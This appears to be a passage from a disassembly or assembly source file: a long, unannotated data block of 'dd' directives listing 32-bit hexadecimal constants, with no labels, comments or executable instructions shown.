dd 3E4C84C0h, 0FCCE035Dh, 0BBF5BF66h, 0A0988DB8h, 0E02E4228h
dd 0AFE48h, 909A4EC6h, 0FA1621Fh, 1595B2CCh, 6A6C6820h
dd 0D207BF37h, 61676F72h, 6BE504C2h, 6D59C984h, 0F11A24F4h
dd 81A6ECh, 0E6BB6590h, 0D50E6C0Ch, 910D130Fh, 667EE04Ah
dd 439DC9h, 41C16501h, 0AE33FF7h, 741CB09Ah, 0B6825FE6h
dd 63D866AAh, 400CAA38h, 7BA44h, 5CEE40EFh, 0DAE9E41h
dd 421BAB00h, 91423C6h, 8CF8481Ah, 24AD6802h, 28C0B677h
dd 0A1F963Ch, 0EC1A76Ch, 4882D04Dh, 9A99F8h, 1FF2D760h
dd 2ED6098Ch, 3540D90Fh, 83422033h, 3316656h, 749CBF71h
dd 50769908h, 0B3B19D09h, 0C7CC2222h, 57A0A046h, 1DC393E8h
dd 35CEA5Fh, 5ECE7D0Ch, 40B03F81h, 8953A2ACh, 0C1760800h
dd 48913675h, 43C209E2h, 0E703268Bh, 0D0C8C07Dh, 970F8389h
dd 0C411CA18h, 1481C853h, 0C840C526h, 0BF6407h, 0EB0EF195h
dd 16574D4Ch, 3435D100h, 0C306B396h, 325000FDh, 1A2DBBD6h
dd 0A70210C8h, 55F1B2BDh, 2714E07Bh, 0FCA900E3h, 40AE1E6Bh
dd 991C6FD0h, 2040CC8Ch, 16844752h, 0C218C041h, 263EB93Ch
dd 0B7E99D0Eh, 0BCC1BEE1h, 6787DDECh, 1D34C9D0h, 4F39A4BAh
dd 85A74677h, 59E52006h, 5100786Fh, 87382A1h, 48138140h
dd 0CD0390A0h, 75E4EEA9h, 0FB5114Ch, 20F59965h, 4A56749Bh
dd 0AD5C0953h, 28002752h, 82E92C7Ah, 0D070BFh, 6E3DB90Dh
dd 2A4523BDh, 0E24D6507h, 3FB09B3Ah, 118A5A1h, 99D6919Ch
dd 0C42149C3h, 830641D4h, 15690ADFh, 0C0FE03E8h, 63536879h
dd 0DC37BBD8h, 0B74B5800h, 74D43AA4h, 0DE280043h, 0F30FC6Ch
dd 809ADC15h, 0FFBD8500h, 38E2254Bh, 0B49900CDh, 0DA266FB0h
dd 0B800D531h, 2453EB5Ch, 0BEEA7C8h, 0FB23B458h, 7AA3BF81h
dd 0FAC6F842h, 6CC1D701h, 7EEEB2A8h, 0E60E2C20h, 0A3B10A2Ch
dd 3A0840B5h, 0C0346682h, 0C068F9D1h, 0CD011C78h, 0F4489091h
dd 0C7D0F897h, 21FA6036h, 9A2DD10Eh, 86E76D00h, 0F4100F14h
dd 0F829E04Eh, 0B23A745Eh, 0C9B41798h, 0D8480E06h, 81339A80h
dd 28C00112h, 0DD8A6642h, 0C13CA3D3h, 0DC24CD6Ah, 9A75384Eh
dd 6ED61Dh, 0F89EC207h, 642E5C35h, 30068DFh, 8EA8AE7Bh
dd 5F7C0FA3h, 6180C2DDh, 0BBE5DB12h, 3D0BF124h, 0B5E44F1Fh
dd 445F2400h, 7738A3h, 4EDC6D5Ch, 0F7605B48h, 31F4C903h
dd 0CFFF1D16h, 19525770h, 0FCB73E6Dh, 55A7F703h, 0A3A03B4Ah
dd 0C50065BAh, 30AF6A52h, 13AE0Bh, 0C1C7878Dh, 2BF1C7Fh
dd 1D01FCE2h, 78F3A172h, 4CF0C3E6h, 0B9850099h, 6C4163CEh
dd 0B800E1C7h, 0BBE2E0CCh, 765E31Bh, 0DB5B2D26h, 17BAD1A5h
dd 0FA35F809h, 520558FCh, 13C036A6h, 0A5EBA800h, 0D9295Ah
dd 0B031ED38h, 0AC1ED78Ch, 8FA3B00h, 1C0196B9h, 9529008Dh
dd 0BB580FD0h, 0D8717415h, 3F82E300h, 0F61A2B53h, 0CF749Eh
dd 54985E8Ah, 4C277A45h, 2D3DB48h, 0BA47B0C7h, 0E754E8F1h
dd 3DB5F603h, 0C00088C9h, 15C3A158h, 8EC128AAh, 5C31C509h
dd 3477024h, 0E505F60Eh, 60B8C64Fh, 4E3DDE1Fh, 0E98E80C4h
dd 0AE7216C8h, 85C204E7h, 0C00DAA27h, 0C1FD78B8h, 0B1385C00h
dd 0C3A51CFFh, 2A8300D4h, 0B82F2448h, 185CDBA9h, 21D51770h
dd 0C629C200h, 8FB554h, 0D75CD47Ah, 97EB6025h, 9B3FAA00h
dd 0A1534964h, 0A3FD078Dh, 41353057h, 2AE3A2EFh, 0E4223B00h
dd 994210h, 0B9A91EABh, 776C0469h, 0F48E5900h, 646002ECh
dd 2E88E61Ch, 920A8D2h, 7F9A4Fh, 0E98D7969h, 0ACC2188Eh
dd 0A6FDC8C6h, 0C163BF05h, 93C2FE03h, 0E0704BC3h, 0BDECBBh
dd 117E6CAFh, 0D4FAE70Dh, 0A0330B00h, 4617FFCBh, 0EB0F0167h
dd 9A2BEC39h, 2F01E4C1h, 0D888FC13h, 80A910h, 0A7357B08h
dd 19D52AE6h, 188D169Bh, 0D0F9C051h, 9921548h, 24E6CE71h
dd 0CB34FB4h, 8BC0B401h, 0C4B248B9h, 0F4A06D99h, 7425114Fh
dd 1B488017h, 96A90h, 0E5DC9267h, 5F78A538h, 820057E2h
dd 0CB434A01h, 161B0EC9h, 7E0A2Dh, 54BFEB4h, 8FEB65F9h
dd 0C0C591DCh, 2CE1949h, 0BF8CF79h, 0CC9D9B00h, 5600ECACh
dd 71D82B63h, 887905h, 189A9050h, 1251E347h, 0EC1A4500h
dd 38E83286h, 0FCEF00BAh, 5ECBC789h, 0C6009520h, 2F1728B5h
dd 1FA61E6Dh, 0DD382550h, 98E289DFh, 36FD880h, 7E006755h
dd 0FFFBF1A4h, 0F2040C3Ah, 0F00209ADh, 90A0B227h, 1921E0FDh
dd 0A775E700h, 99103593h, 8225017Ch, 0F72C39FBh, 0D69EE083h
dd 0CAC2F150h, 0ADF5897h, 0CF66557Eh, 0EB9200C4h, 83FA3F26h
dd 0A0D27100h, 545AAAFFh, 7B600296h, 2AF32243h, 0D7A0AD43h
dd 0BA00D6DFh, 916BB1BCh, 3FE0303Ch, 6A01C184h, 9FA60C2h
dd 13B034DCh, 0A6404896h, 70FCF53h, 8CC797ECh, 446EE1ABh
dd 7ACBE87Ch, 0A9EE9615h, 69E212FCh, 47DE840h, 549AD1Ah
dd 9E82C70Bh, 0C84493DFh, 174BB0F0h, 23A13Eh, 0D1802463h
dd 0F499ABDh, 22780CACh, 0C0E78EE5h, 28B130CCh, 980096F6h
dd 1C0D319Ah, 18184FDEh, 19F2B346h, 0FD073226h, 0D916FA81h
dd 0C221F440h, 4A730723h, 27E2D7BBh, 78C3B0AEh, 75007757h
dd 0E520955Fh, 4F08F9A6h, 483C03BEh, 0B3C0440Ah, 0E4E2F81Eh
dd 56F4A600h, 8C2CD49Eh, 70CC5C25h, 176A958h, 0EE42B8F5h
dd 0D46A6365h, 0F067BA7h, 0CD534851h, 16EEC28h, 0B050177Ch
dd 0F46BA354h, 0FF01D7B8h, 0EF4439C5h, 93C4DE57h, 0A7C24CE1h
dd 0C61DE84Ch, 5F7E1F30h, 1670C3F4h, 42A105E7h, 34AC40E4h
dd 7700E314h, 0F39F07FEh, 5D028A75h, 7800F4F7h, 0BD5064ADh
dd 3398B3CFh, 9DF41900h, 43F24FA2h, 0BC8C25D2h, 0EA0DA000h
dd 811F3F3Ah, 0F8051B6h, 0A6C3272Fh, 0A7C21982h, 0D4AB1880h
dd 0BCF2EE97h, 43483C03h, 0C0C5933Bh, 5D2DECh, 0C705762Eh
dd 31771F96h, 1A650400h, 0DA5BF949h, 0A0C90168h, 7A97FC47h
dd 0DD57ECBAh, 0AD657600h, 93A85160h, 0BDC43B3Fh, 60C4002h
dd 6868E1C9h, 81005AD6h
dd 0E7F083AAh, 2E6A8F5Eh, 3FDBF9B3h, 176C1D00h, 0A313A67Dh
dd 743D863Dh, 0E3284E03h, 1CA54A6Eh, 80F4BE18h, 81189397h
dd 6602B20Fh, 0A045E03Dh, 15C540EFh, 436000E7h, 1320EC84h
dd 0B002697h, 2814AC4Dh, 350D18Bh, 80376A8Eh, 201E49F3h
dd 0E1C0BA04h, 38F2BC3Eh, 7A460CB4h, 0AC58CAE9h, 9391A712h
dd 7C703500h, 8E7F24h, 0ABEB4C9Fh, 3C845549h, 0F7A8D00h
dd 0C96FD190h, 96F699h, 7E7C234Dh, 0BF58D95Bh, 0E7D7AF00h
dd 344CB3C6h, 0A01E3D98h, 2024D200h, 674B5BEBh, 0F40EE3EAh
dd 6EC8EC95h, 40DA0DFh, 0CA9BB9h, 2BE6CD99h, 5B2FF4CEh
dd 0C6FD8E05h, 1C08927h, 80FE70h, 37233DE6h, 7A625926h
dd 0A61DC83Fh, 3F008D4Ch, 38AD42B3h, 0B2030491h, 0C06B55ECh
dd 0A777F3BDh, 9D3D4A03h, 0B8D807F4h, 3B0938Eh, 56DC6A1Bh
dd 0D1A055F9h, 5B5E7719h, 4200B3F8h, 3A88CEBBh, 44E66F89h
dd 0FA7ABF00h, 338C2002h, 46A60074h, 6D2CD535h, 3EF01093h
dd 0E1287960h, 0ABC6EAh, 2C06E7CFh, 5A6C1AFFh, 3E3F5900h
dd 92148091h, 0BB0D0084h, 23C3FA8Eh, 0D00035FEh, 6E651A3Fh
dd 36B0B93h, 1D6C9540h, 8F36D5h, 914F0F4Ah, 416EA1Dh, 0EDAEDB80h
dd 10AF2ACh, 4D2AE836h, 0E49FFFD3h, 1F717E5Eh, 990B4800h
dd 7B2D4C8Bh, 0C7BB00B7h, 757AE152h, 0A900C4BEh, 0DC2C1679h
dd 0E7667Fh, 3BBABBEAh, 9BEC668h, 804A1800h, 0EF2658A7h
dd 0B91F036Bh, 90E5EE31h, 116713C0h, 9C925D03h, 0F015E189h
dd 0F93D77h, 7ABDA1E4h, 0F8C72365h, 0BCAEF71Dh, 54D2AA80h
dd 0BBEF43h, 6167E7B2h, 3884785Eh, 0EB0AF018h, 0BC6618h
dd 0CF02F9A7h, 827FCAFFh, 0B5179B0h, 0D204DA10h, 5628FC0Ch
dd 701845E8h, 6BC9B778h, 6134A05Eh, 3DF3EEB1h, 0F6805167h
dd 0C0B7C802h, 1400F12Fh, 9E38E25Dh, 23BE1A5h, 6A5679EBh
dd 0EA60912Ch, 0A60708B1h, 0D673FCF2h, 2878E6D6h, 1558F738h
dd 68616CDFh, 0A5226206h, 690528E5h, 7B7044FCh, 243D4C00h
dd 722EFh, 9FC1D72Bh, 9EC3DE2Ah, 0B9AE8818h, 1826EA48h
dd 0B9620AFEh, 9B3EF287h, 7850006Fh, 38FF72BBh, 103B010Dh
dd 0A054BDBCh, 0C5E470F4h, 0E9E07800h, 4683F83Ah, 0B568002Bh
dd 0F48D0AE3h, 8E00D147h, 0F6BAE852h, 0C344A0h, 0D3CFA850h
dd 62EA23C5h, 0F3A23A00h, 0FF6F4135h, 1F2A7A06h, 7FB707h
dd 82FD2E4Dh, 0C51FD536h, 4E403549h, 720C0E54h, 87D900A8h
dd 39F7E99Bh, 5FC84B5h, 0D4DA1E00h, 23E14686h, 776C008Bh
dd 66B37A13h, 0FA063B06h, 98E33571h, 0F90D0050h, 82CED2ABh
dd 0EF0EE0D3h, 3DF024F5h, 2034B60Ch, 0CF0B3865h, 0C674D107h
dd 765F405Ah, 404CA7B3h, 4C3E18h, 3B129F10h, 60877BD4h
dd 0D3F1824h, 70C8F90Ch, 0CF07C0DEh, 0F846D387h, 64709F22h
dd 0AA2BCF00h, 5CDE6A86h, 5E3300DDh, 12D463FDh, 8D184596h
dd 98504B2Fh, 5459C04Eh, 1B23F207h, 1E94E703h, 0F0DB508Fh
dd 6DC4BBE6h, 8128A0D6h, 5AA01738h, 1180105Dh, 0C8981EDh
dd 87193C75h, 0A4098E30h, 704D2180h, 0E56A6C89h, 0E603C67Bh
dd 133410FAh, 0BD6B871h, 31F23086h, 0B5481561h, 47B86101h
dd 4FAFA71Ch, 21400898h, 0B57DDFF2h, 0A58CDA0Fh, 0CBAB61D7h
dd 9C41433Bh, 0FCC0AC52h, 0A89FF313h, 38D88CBDh, 60397810h
dd 590600F1h, 0F039499Ch, 4A15002Eh, 98DCED51h, 0EE0576BAh
dd 961E9A84h, 5953C0EAh, 0FF00AE99h, 0F99F7DB4h, 0F66D3Ah
dd 26D5D88Ah, 75A05AD7h, 0B8401705h, 84C5F2CDh, 853D5080h
dd 52240021h, 0B6787EE5h, 1907BE9Bh, 0AF08B87Bh, 0A9C77205h
dd 22F862B0h, 780A0035h, 0C8CB8C7Eh, 0C17EAF73h, 54E8F100h
dd 46EDCC87h, 0B9D013Eh, 0B736D825h, 31D4C4A5h, 47095Ch
dd 67604ADh, 0F80357h, 29949C02h, 97E20135h, 0AF7CC100h
dd 75F16E44h, 61D43DB0h, 14603101h, 0C8855F2Eh, 9200864Dh
dd 76936CB8h, 12D847h, 0E81EBE8Bh, 78A64823h, 5254AC01h
dd 0DC47CF1Dh, 0DE67CCh, 0B8B7E82h, 0ECA7E457h, 66DF3003h
dd 0A8A3BBEEh, 7FD6C2Fh, 710C3208h, 6DEFDF01h, 155BD700h
dd 0AD004B67h, 0CBAA6A14h, 7A6C9FF6h, 23B40035h, 72503D8Ch
dd 700039A4h, 0C3B9E174h, 7A9F763h, 83461257h, 0F022A02Fh
dd 7C00C46Fh, 90A7E15Eh, 1FC320FAh, 40B64995h, 0D5CB563Bh
dd 0C148E9AEh, 2353164Dh, 4A41DB00h, 0EC804870h, 469B0062h
dd 7167AC3Dh, 0A70016E9h, 8BAAB2A9h, 5E95B1h, 859C4B2Ah
dd 32090BD7h, 11DB38h, 6AD0CCCAh, 9377B6h, 0E296BC7Bh
dd 0F572ACB4h, 0C0F27303h, 0F87CEA97h, 0FE660219h, 59EF193Ch
dd 0DC273079h, 0BF7680EEh, 9577A700h, 56DDAE55h, 68543914h
dd 1E92B880h, 0D063E6EFh, 0E778E200h, 0F8FCC94Ch, 18C4A4C5h
dd 389D5695h, 59730913h, 1FF1B701h, 1BC40EFh, 0AFD63080h
dd 8CE08F6Dh, 0B311C700h, 66EB2861h, 8D2000Ah, 5F05D3C8h
dd 6305B34h, 82B3A02Fh, 0B0AA00F0h, 5C898AB6h, 0A003E310h
dd 5F173C78h, 0DB0AE097h, 92030022h, 4A234195h, 0A0004E38h
dd 0B9A6BFB1h, 1D11674h, 6094D067h, 40ECBD54h, 388E8190h
dd 833C0300h, 59E3991Eh, 0BDEA0Ch, 445FF44Bh, 0C4DE91C9h
dd 7700E8B8h, 0DAF2F56Dh, 1764A3h, 9FBB2208h, 45FF7682h
dd 66543C00h, 1E31F346h, 0A3410574h, 0C01CD678h, 3D614E11h
dd 0F9F7571Dh, 0F249C240h, 0B0152DA8h, 50E20E8Fh, 0E02020F3h
dd 22FD042Fh, 0DE459F04h, 0A880FE5Ah, 0D08352h, 6AD74DF9h
dd 27E3CA94h, 0BC43F600h, 52FC0B8Fh, 0E1033D65h, 4ED07B80h
dd 9056C9EFh, 0C1CB1800h, 632FB12Ch, 0B9E000A3h, 4AB422C5h
dd 7B126265h, 505FC2DAh, 693055C7h, 26B2F8F7h, 99481B8h
dd 0A040D098h, 0E95096h, 0F4C3D43Ch, 9D0D54A3h, 0B3BAFF01h
dd 0C8B6E1F9h, 0C00C20h, 0B2D0D747h, 0DDC48D05h, 19C57C00h
dd 2AF013C7h, 73CC3CF5h, 5B299E00h, 0E402BE8h, 3A2020EFh
dd 198F863Ah, 293E780Bh, 0D782DCh, 0A8D21897h, 339EF166h
dd 0FCAD4E0Ch, 7CB8D0DAh, 46CE393Fh, 0C661EA00h, 57C70479h
dd 3B9CDCA0h, 459E0C00h, 1C074DEBh, 94AF0C61h, 91B1FE84h
dd 0D3A04700h, 6555DB5Bh, 0A64A0792h, 0D0962806h, 51759A20h
dd 0A5DC9000h, 53E31D01h, 0DF320074h, 89E06899h, 0BD134A5Dh
dd 140006DBh, 3241085Fh, 0A31C0A52h, 0A4CB17h, 7D0C7FA8h
dd 190111E7h, 3A95468Eh, 0DC3084C2h, 0EBB8005Ah, 450F178Bh
dd 9407D206h, 21E254B2h, 9333DA10h, 0C7B066h, 6053A2ABh
dd 0E934F212h, 2D78BFh, 4C8C889Fh, 656B5148h, 0C2095A72h
dd 8720A437h, 26B08AC6h, 8242C7h, 300E4E01h, 6CEC641Eh
dd 996AF309h, 0E7E3009Ch, 0AFD96Fh, 0EE68BA88h, 0FE141024h
dd 1DE8C607h, 90F06EE5h, 9A05DBh, 497FF4A4h, 0FD5A642Bh
dd 23BD5B03h, 0F0387607h, 0F3D617h, 0B87A969h, 743EAEA7h
dd 4FC6DC00h, 1B13FBD5h, 98BE01B6h, 0F0E530EDh, 8046DDA0h
dd 25949A88h, 7AE128D1h, 0D76300B8h, 0C4B33459h, 0EA00F631h
dd 0C783E78Ah, 0FC0C8621h, 37670974h, 98003962h, 8410C5C9h
dd 53F10A2Eh, 0D726C020h, 6200C0BDh, 96DB5A8Ah, 3D03008Dh
dd 65E7959Bh, 5E0C3115h, 5C21764Fh, 0D6A801F1h, 7F2A6EEFh
dd 1CDCC4A9h, 628B3600h, 992CBE5h, 6B5700D1h, 0CA035990h
dd 4E06C40Fh, 0FC8F2BB9h, 43E918B0h, 101890F7h, 9F9538h
dd 6CC5F19Ah
dd 4C1F0536h, 9D007478h, 0E983EA58h, 0E09A98D3h, 85E17A04h
dd 0C490347Fh, 182CD545h, 10B771A8h, 0A000A2C5h, 401FD212h
dd 2FB011h, 18CDFFD0h, 1E43C68Fh, 290D648h, 2E9199B1h
dd 0BADC6813h, 4B5C001Bh, 60EB19A7h, 0D07C9A94h, 4AF68000h
dd 0E1F014C6h, 548500B1h, 0BB907E43h, 30058BB9h, 0E659FF3Eh
dd 2E6E9430h, 2A07287Dh, 0D0C500A4h, 29D75FA1h, 0C002254h
dd 89BFCDB4h, 36975C2h, 10CA4A20h, 302C2B0Dh, 9E0791D1h
dd 0D2B0F5F1h, 1DE1E9h, 0EB98D36h, 58013180h, 6DECAA0Bh
dd 60C80E4Ah, 980B06B8h, 3E9091h, 841562Dh, 0DB6001B1h
dd 84A1E607h, 1B335ED4h, 0C6B4885Ah, 0E86C014Dh, 727EA971h
dd 8849F08Bh, 83B78D00h, 73628E5h, 8CEB53B1h, 62A44E07h
dd 7F8822D1h, 52B0A840h, 4ACA2800h, 0C7DC8324h, 7FC7BCCh
dd 2B74B530h, 809DA0AFh, 69018E92h, 3F234BBh, 0DE700D0Bh
dd 0BEE260E4h, 0D97A1AC5h, 7395EA3Dh, 7701DE76h, 395DE175h
dd 0B9F9506Ah, 2B5AFCh, 0AFEC9CBh, 29515FA0h, 94DA8203h
dd 0F00D4A8Ah, 50FC7F4h, 7DBA586Dh, 69DCC116h, 0DFA8C745h
dd 0CBA06FCFh, 978EA20h, 10002578h, 83ED6C4Bh, 0F09314E2h
dd 15940063h, 0A011E182h, 9E004D0Eh, 19D96223h, 1259E2C8h
dd 6D479Ah, 6EE1C0DBh, 570F5261h, 0AC6B3CA7h, 1D046026h
dd 30ED60F9h, 1100370h, 0A8F59901h, 0AA9FB7FEh, 98231880h
dd 0BEA6B806h, 0D011CFh, 62A77646h, 43BC00E7h, 8D09C6E0h
dd 0AD0E4159h, 81195149h, 15D16989h, 0F75930h, 366F6317h
dd 0C3EDFA6Bh, 0F67CC500h, 9DA8D594h, 27E0F55Bh, 4E901B6h
dd 4CCE1BA7h, 1FA98032h, 2942308h, 0A8DE0721h, 0AA2D9F01h
dd 16038094h, 6687B7FCh, 59431C0Eh, 34152007h, 7CD9061h
dd 692BD3CCh, 9DF70060h, 0CEB00A44h, 0B0F63F01h, 216B07F3h
dd 139D7E8h, 9A6ACA57h, 6065C3C7h, 407C012h, 11ED3E1Ah
dd 0C2FCE8D0h, 0A00B1D94h, 89F380A9h, 0DB36AE74h, 4400C1E6h
dd 14C7DAEEh, 3C428BCAh, 529FA2ECh, 0D42DC0DDh, 0F7898F47h
dd 9B038DF0h, 0BF9D4C35h, 85B2EA6Bh, 48801AD0h, 3AC9F2BBh
dd 0DD0EA414h, 0FB005FBCh, 0CC8B3027h, 1A315500h, 70AF19D1h
dd 87FD3CEBh, 69AD1Dh, 248AD6EDh, 1B00C527h, 4656662h
dd 0BCEED4h, 0C3BBB315h, 26972C53h, 0D8369D00h, 0AE2A82F3h
dd 3C9141h, 0B75CF8A4h, 0FB0CF621h, 8E689EDh, 0CA21C0B1h
dd 0B4465CF0h, 0DB00B57Eh, 826AA71Ch, 19F29Ch, 0D00B1D2Dh
dd 8D8E9E61h, 349FE8A0h, 6E63CA00h, 771D2CF9h, 5120D8F6h
dd 1F1FC804h, 1170FCB9h, 128A50Ah, 0CDA3A76Fh, 98DB9F08h
dd 0DD213808h, 792800ACh, 0D394655h, 0C302CE8Fh, 226A321h
dd 14B8605Dh, 0F977364Dh, 0BF466068h, 6528A302h, 3731B3A7h
dd 28AAEB10h, 58BFDA70h, 0BA720070h, 21172557h, 3450797Fh
dd 0A1007E9Ch, 0AB1F3EC8h, 485CCF9Ah, 328602Ch, 10A260E0h
dd 56FF2995h, 0E8A058h, 570A0DA6h, 0F46225A1h, 0CAF60028h
dd 0F16C3EE5h, 0E224D533h, 0E0015ACh, 0A77E9367h, 54EA003Ah
dd 7C1E0350h, 1000EC24h, 7DB30D48h, 413BD7h, 0C58F5AAEh
dd 122AC618h, 0DC779D00h, 54F034A0h, 32D9011Eh, 0C1ACA6C7h
dd 36493059h, 97DFBA0Eh, 8F88C0C8h, 1F81750Bh, 0B9C031h
dd 0E11DD0BDh, 833E2F0Dh, 24BB8059h, 0FA6F78F5h, 0BD7500C7h
dd 0ACB3F43Eh, 42006C45h, 0B5A2CB25h, 186E549Ah, 28FB0102h
dd 8200A947h, 9C3DE715h, 24E07FE3h, 367B8Fh, 9E793453h
dd 18035CEEh, 0D0DB09C8h, 538008Eh, 748D0F40h, 52E89CB7h
dd 3868A800h, 0BFA0C925h, 784A00B4h, 4155A4C2h, 6048F7CEh
dd 320075BAh, 0BC46100Ah, 0B62F84h, 97DBD1E8h, 0DD60C2D8h
dd 0D97E6403h, 0D00D7386h, 1C687B7Ch, 4059FA4Bh, 2F056933h
dd 0B0F22071h, 2BB4FD00h, 0CE9BF79h, 0D90B03ACh, 0D0FB1406h
dd 80F75838h, 36903411h, 54B72E32h, 0C2190BAh, 61628F4Bh
dd 4800E711h, 54DD23F8h, 0AD827Eh, 4674458Ah, 0F5E9792Ch
dd 0E2766700h, 868B38D9h, 700B6093h, 0EE13148h, 69DD2C03h
dd 0CF47F2E2h, 808246h, 963EEA0Fh, 1932BEAFh, 0E903DE7Bh
dd 0B4B80E17h, 6381E8E7h, 6EE664h, 0BADBC871h, 1EB9728h
dd 944F903h, 4E3904h, 9E434C40h, 0ABDA17A8h, 0C822A000h
dd 3D01C475h, 0BE5C0498h, 802023A9h, 71465333h, 32878500h
dd 0CEF66DB7h, 0AE40033h, 1FBA7C68h, 0E200F3D5h, 87B261D3h
dd 1DF80E9h, 8C368E9Fh, 0E806C94Bh, 0A37DD2C4h, 604A0C04h
dd 3DC05C88h, 23A73C3h, 0DCF8C21Dh, 95406A18h, 0E9C0CFAFh
dd 567E4F81h, 0C4910985h, 718005E7h, 0F82D846Ah, 0BA14EB1Dh
dd 303FDA80h, 0FA6ED597h, 0BB47008Bh, 1776E8FCh, 257F9B59h
dd 0A45AC324h, 0D177AC00h, 8A6433h, 9DEA72Dh, 6717A273h
dd 474C0800h, 9CB67FF6h, 36FF006Ah, 0A3451F1Dh, 0C4A85FB7h
dd 0BE205D90h, 0A78F5C95h, 7A9C6D03h, 0BBE8946Bh, 182819ECh
dd 0D0EE89Fh, 0A31C06E0h, 0C183E8C4h, 4050C7F3h, 7D891h
dd 0DFC049CBh, 0A619E460h, 971BA318h, 797C2D60h, 0C474879h
dd 98A03A06h, 0D6048973h, 1A2B694Fh, 45CC2C91h, 400BE09Eh
dd 0B8E68588h, 5B00F330h, 0DE4FCB67h, 96F6F9h, 141607D1h
dd 2C2D3B8Bh, 0E04BA300h, 3DDD27Dh, 0C7A71B4h, 8E222199h
dd 98006E96h, 23E1F4E9h, 0E00CCDh, 77CFC6D7h, 0ACB7B65h
dd 1FB8E400h, 0A6AE437Fh, 63EC0056h, 0D47E4883h, 0A9019D8Bh
dd 9F520F90h, 11808CBFh, 7F1BE1FAh, 960BC875h, 87BD0BEBh
dd 0E0707ED1h, 79F6868Ch, 617A8Ah, 0C876C030h, 414A3298h
dd 0A0FB7500h, 0BB1AD6C1h, 0D50F0036h, 559CA7F8h, 1507327Bh
dd 0EEA6F7D8h, 604DD2B0h, 825603A0h, 49CC0BB6h, 7164E1F8h
dd 6E5EC40Eh, 0BF912039h, 557D377h, 0E599DA0Ch, 47E00064h
dd 0E2B30A2Ch, 0C074280Fh, 92C685AFh, 2A20C007h, 342F5D90h
dd 0FC90CCh, 5EBA7638h, 7E9A56C4h, 94DCEE28h, 67B78200h
dd 14450B7Fh, 0BCC300F7h, 36427C66h, 680C47CCh, 0D1E92CECh
dd 9762007Dh, 0C907BC02h, 0CB03EB98h, 0C7B2D51Eh, 1086889Eh
dd 0AC3F000Ah, 0B5A876BAh, 0FD004AAAh, 6D51DD35h, 0EF8FC2h
dd 61BC6782h, 0D02E656Fh, 1CD0AB41h, 0DF0D017Ah, 0E97783DBh
dd 2BF9D8D1h, 0C0C14326h, 0F14D9002h, 5F5060D0h, 0F2380018h
dd 5DD7BB88h, 0B4046F32h, 5397226Bh, 73215080h, 4D3C1E63h
dd 60B0FF66h, 0F7401119h, 79899230h, 48D1D4Ch, 37D0C41Ch
dd 32C8386h, 0FBE2EEF0h, 0E852D618h, 0E63D26B0h, 234A00A5h
dd 0FCC31D30h, 0DE508710h, 2A0ED5A4h, 81B080A0h, 28B1F169h
dd 30D4D9E8h, 3C406048h, 53027FD7h, 1168ADA7h, 39FC4077h
dd 8FDF00C1h, 0AF6B180Ah, 0CE00CA65h, 0AEF0CD5Bh, 1114142h
dd 690777D0h, 0EC6B25C2h, 0FC006239h, 7CC88D8Ah, 0D522C1h
dd 0FB364919h, 0B2D6F7B5h, 8E98B100h, 12F8B775h, 999B0045h
dd 0B03BB38Fh, 22E4FF6Dh, 0C977DE00h, 0C8F8E22Ah, 53A50940h
dd 70A0CB4Eh, 0A6B849Eh, 92021B98h, 83819064h, 5CA8C818h
dd 7A9E779Ah, 77D603A8h, 3CF222C5h, 0EA278999h, 16BBD780h
dd 57067A7Bh, 1ADF4186h, 4B780392h, 734E64CAh, 1CCE2087h
dd 5378EFB3h, 1199BC07h, 63508230h, 0F874069h, 0D7ED50Ch
dd 0FAB47CC0h, 12006180h, 0F29B4BC2h, 1297FC1h, 38EAF6CEh
dd 307D351Dh, 0AB174424h
dd 5603BFEBh, 0E085E7F7h, 0E09D66h, 6CC7EF24h, 9C547EB8h
dd 14BE3613h, 963BD400h, 9C8C13Dh, 0DE1FDBE7h, 858BF080h
dd 0B900BEF7h, 41169055h, 3DBE59Bh, 8F98D504h, 9DD015CDh
dd 0A100361Eh, 2464BF5Bh, 0BC483h, 93A95412h, 140DCC8Ah
dd 969D9F02h, 6947416Bh, 7DF45588h, 283C0090h, 0B4BB0F38h
dd 10F074AEh, 0AAF73000h, 3E81A98Dh, 0F5E6263Ah, 0A69803Ch
dd 0A1E9E236h, 0FD0108B2h, 0A0341A60h, 6C20CF02h, 1DAF7184h
dd 0BB6840C7h, 9FD3E886h, 4CFC784Bh, 38F0E900h, 5EAD6E2h
dd 678B00A1h, 3C201EAFh, 49F096ACh, 9D03D572h, 0ABA058C4h
dd 0C759018Fh, 0C808C5AFh, 545C640Fh, 2C68A6F1h, 74BF2D80h
dd 0EA03A49Eh, 5BC80520h, 1612CBDh, 9089218h, 0B174E0E3h
dd 1FDD2E40h, 2E51EB2Ch, 28089438h, 34C1440h, 5B347224h
dd 3C8089DFh, 197B1346h, 0DD8F5312h, 0E110C00h, 89254Ch
dd 0FF2BEF10h, 0EB35D16Eh, 7FAF901h, 1788C2E3h, 1F194264h
dd 40F3BC63h, 80F8047Ch, 9000C47Bh, 91E5A893h, 1BDDA3h
dd 0DF0A7AFFh, 0C243B8B1h, 0B241E300h, 54EACC29h, 0F152043Bh
dd 0A1672385h, 4F95E488h, 8688B400h, 0A00E26D2h, 99A2127Eh
dd 68740735h, 0C6CD20ACh, 0F498AA61h, 0A2392400h, 31CEA1D9h
dd 408F3C88h, 0A307CF00h, 0CBA9C9CCh, 35DFB900h, 0DE0B658h
dd 7BC10E2Fh, 5CC0A361h, 3608542Bh, 8F00A0F8h, 0B8397EAFh
dd 0AD5DFh, 656DF12Fh, 0F4E07BDAh, 0AA895800h, 8FE6ECFCh
dd 0D8C0066h, 0A62C3FFBh, 0A40071C6h, 0ADA2ED6Fh, 8CC89h
dd 0BEC4576Dh, 7CE0CEF3h, 0C633A00h, 0CC6A2E36h, 0C0980078h
dd 0C6F60265h, 501D48Ch, 0BCA09A3Ch, 1970562Fh, 382C0024h
dd 0ECD877B1h, 0D2001D5Dh, 0CBFCBC19h, 0F3499Fh, 6854DD27h
dd 6F6AF5C2h, 64BD872Ch, 2E9B5300h, 404F59E4h, 650D8B83h
dd 11EEF11Fh, 30226031h, 8DD4397Ah, 8A0B8E05h, 6F92C097h
dd 3A7CCBC9h, 6C792B09h, 0FAA040C1h, 564C128Ch, 0CCC481E9h
dd 149C7460h, 0C11ECF7Ah, 0FB03889Dh, 0E8F343CEh, 0C7FA84h
dd 0C910B2E1h, 63895109h, 1BA86463h, 97019061h, 59B100A9h
dd 0D03FCAFAh, 0F700D3AEh, 26903CD1h, 0C649E9Dh, 6D88541h
dd 0E0EC4889h, 0A217A0B8h, 68075C74h, 50D0E7A5h, 0D4AC92h
